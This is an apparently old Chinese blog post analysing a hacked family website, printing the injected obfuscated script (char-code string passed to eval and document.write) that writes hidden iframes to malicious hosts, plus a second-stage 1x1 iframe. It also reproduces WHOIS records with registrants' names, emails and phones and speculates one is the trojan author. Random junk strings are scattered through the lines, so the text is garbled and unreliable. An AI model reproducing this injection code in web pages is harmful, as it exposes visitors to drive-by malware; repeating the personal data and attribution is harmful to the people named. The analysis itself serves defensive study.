首发在我的博客里面，
1k39KO@ "v[?`<53^l http://www.areway.cn/?p=175 |$QL>{81 Fq` wx Z#_ +yw 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
s]@k, % Q"D%xY <script>t=’60,105,102,114,97,109,101,
M]. D27 32,115,114,99,61,104,116,116,112,58,47,47,
?]Z EK8c 102,114,101,101,46,117,45,117,117,117,46,99,
?cmv;KV
110,47,101,114,114,111,114,46,104,116,109,
F qH@i Z 32,119,105,100,116,104,61,49,48,48,32,104,
zrazFI0G 101,105,103,104,116,61,48,62,60,47,105,102,
Z:kX9vw. 114,97,109,101,62′;
s e^(1R k t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
*p>1s!i &-B&s.,kj <script>t=’60,105,102,114,97,109,101,32,115,
1Zi(5S) 114,99,61,104,116,116,112,58,47,47,102,114,
Ag@R 60# 101,101,46,117,45,117,117,117,46,99,110,47,
r xM)SC;P 101,114,114,111,114,46,104,116,109,32,119,
o<f| jGY0 105,100,116,104,61,49,48,48,32,104,101,105,
AOVoOd+6 103,104,116,61,48,62,60,47,105,102,114,97,
$0wF4$) 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
L |pJ \~ document.write(t);</script>
QU%'z/dip :eR[lR^4*
<html xmlns=”
Mz:t[rfs http://www.w3.org/1999/xhtml r\ f|r$i “>
}RPeA cbU_ <head>
_3{,nhkf:! <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
- mPrmapb3 <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
/`YbH YNF[ <title>首页 - 爱生活家庭网
8 C4 =f
O,A}p:Pgs 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
}y P98N5o 转换字符串后的大概内容是（谁点击后果自付）：
/{7we$+,p <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
AYLCdCoK.
l6uU S 查询玉米u-uuu.cn的详细信息：
K-f\n r Domain Name: u-uuu.cn
cQ<* (KU ROID: 20070901s10001s64972306-cn
VN[i;4o:| Domain Status: ok
\y*,N^w u Registrant Organization: 王雷
ukH?O)0O Registrant Name: 王雷
*iW$>Yjb Administrative Email:
czlovexs@126.com Z d]2>h Sponsoring Registrar: 北京万网志成科技有限公司
|Je+y;P7 Name Server:ns.yovole.com
M_monj}Z Name Server:ns1.yovole.com
eOI#T'5 Registration Date: 2007-09-01 17:54
cojbuo Expiration Date: 2008-09-01 17:54
8OW504AD 最后PING了一下地址 都没有什么….
h1uD >heGl c$w} h[ 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
q7'[II; <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
TV &4m5 <script language=”javascript” src=”
{aRZBIv http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script W=)wiRQm >
6"UL+$k 这个玉米应该有可能是木马作者的：
dS[="Set foafau.info的详细信息：
H@R2mw Access to INFO WHOIS information is provided to assist persons in
fpK` determining the contents of a domain name registration record in the
=P"Sm
r Afilias registry database. The data in this record is provided by
NA`EG, 2 Afilias Limited for informational purposes only, and Afilias does not
xK8R![x guarantee its accuracy. This service is intended only for query-based
S3( 2.c~ access. You agree that you will use this data only for lawful purposes
>|e>= and that, under no circumstances will you use this data to: (a) allow,
9v2(cpZ enable, or otherwise support the transmission by e-mail, telephone, or
[Y^1}E* facsimile of mass unsolicited, commercial advertising or solicitations
<fLk\
= to entities other than the data recipient’s own existing customers; or
I$7TnM ug (b) enable high volume, automated, electronic processes that send
6q gII~F' queries or data to the systems of Registry Operator, a Registrar, or
^-'t`mRl]d Afilias except as reasonably necessary to register domain names or
->S6S_H/+& modify existing registrations. All rights reserved. Afilias reserves
EjYCOb- the right to modify these terms at any time. By submitting this query,
M+N7JpR you agree to abide by this policy.
LpJ_HU7@lk Domain ID:D22418703-LRMS
$ *u{i4b Domain Name:FOAFAU.INFO
<Gr775" Created On:20-Nov-2007 16:05:42 UTC
} nW) + Last Updated On:20-Nov-2007 16:05:44 UTC
,UD,)ZPf[ Expiration Date:20-Nov-2008 16:05:42 UTC
ecI[lB Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
E*t0ia 8 Status:CLIENT DELETE PROHIBITED
& _!g|- Status:CLIENT RENEW PROHIBITED
2\,vq
R Status:CLIENT TRANSFER PROHIBITED
5E#koy7
$s Status:CLIENT UPDATE PROHIBITED
fWBI}~e Status:TRANSFER PROHIBITED
u+RdC;_ Registrant ID:GODA-040110615
sN
`NZyG Registrant Name:liu hong
bof{R{3q Registrant Organization:
cP~?I z8nD Registrant Street1:beijing
1jhGshhp Registrant Street2:
1K ;i/ Registrant Street3:
$*Q_3]AY] Registrant City:beijing
$K,6!FyBa Registrant State/Province:
^5l4D 3@E Registrant Postal Code:100000
CbA2?( 1o1 Registrant Country:CN
$ZPi M Registrant Phone:+86.860108888777
5 ^\f[} Registrant Phone Ext.:
U/JeEI%L Registrant FAX:
@zJhJ'~ Sl Registrant FAX Ext.:
Aj Q^
{P Registrant Email:bbbshiji@163.com
M zLx2? Admin ID:GODA-240110615
?=]*r >a3 Admin Name:liu hong
uT}Jw Admin Organization:
|
ZI ~#V Admin Street1:beijing
g8{?; Admin Street2:
f]BG`rJX Admin Street3:
E&/D%} Wl Admin City:beijing
(zFUC ] Admin State/Province:
V+()`>44 Admin Postal Code:100000
oj7X9~ nd Admin Country:CN
w:z@!< Admin Phone:+86.860108888777
tzxp0&:Z]. Admin Phone Ext.:
m_TZY_; Admin FAX:
ezt_ct/Z Admin FAX Ext.:
#@m*yJg< Admin Email:bbbshiji@163.com
d`| W6Do Billing ID:GODA-340110615
%KeQp W Billing Name:liu hong
+McKyEa Billing Organization:
1 D fB9n Billing Street1:beijing
$FgpFxz;
Billing Street2:
`ecuquX' Billing Street3:
Cl;B%5yl Billing City:beijing
#pxc6W / Billing State/Province:
@5%c P Billing Postal Code:100000
Bu'PDy~W, Billing Country:CN
/
4K *iq Billing Phone:+86.860108888777
3:rH1vG.m Billing Phone Ext.:
j/bebR}X Billing FAX:
>8 V; :(nt Billing FAX Ext.:
.,K?(O4AY Billing Email:bbbshiji@163.com
sX3Vr&r Tech ID:GODA-140110615
j~ G ^J Tech Name:liu hong
vO1P %) Tech Organization:
bp6 La`+ Tech Street1:beijing
$ a6&OH/ Tech Street2:
vpY|S2w)Bp Tech Street3:
*|x2"?d-F: Tech City:beijing
-#b-@sD Tech State/Province:
icF - `m Tech Postal Code:100000
_c|>m4+X Tech Country:CN
7cn"@h rJ Tech Phone:+86.860108888777
,>%AEN6 N2 Tech Phone Ext.:
3:a}<^DuCS Tech FAX:
]D7z&h Tech FAX Ext.:
S{Au%Rs Tech Email:bbbshiji@163.com
xXK7i\ny Name Server:NS27.DOMAINCONTROL.COM
HnVUG4yZTD Name Server:NS28.DOMAINCONTROL.COM
E jB<`yT Name Server:
$2F*p#l(<Z Name Server:
:&dY1.<N+ Name Server:
j>M
'nQ,;d Name Server:
_tQ= ASe0 Name Server:
/n7F]Ok'* Name Server:
4yC{BRbi Name Server:
VG'o y Name Server:
/D_8uTS>d[ Name Server:
D d*T5A? Name Server:
HPAg1bV:- Name Server:
}0uSm%," Y }"|J ~ 接着下载每个文件里面的代码：
R,A|"Q 一步一步看..
p]: ~z|.Ba 
g~%=[1 
O'm&S?> 
@]d N 
+*g[hRw[ 
5.xvOi|. 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
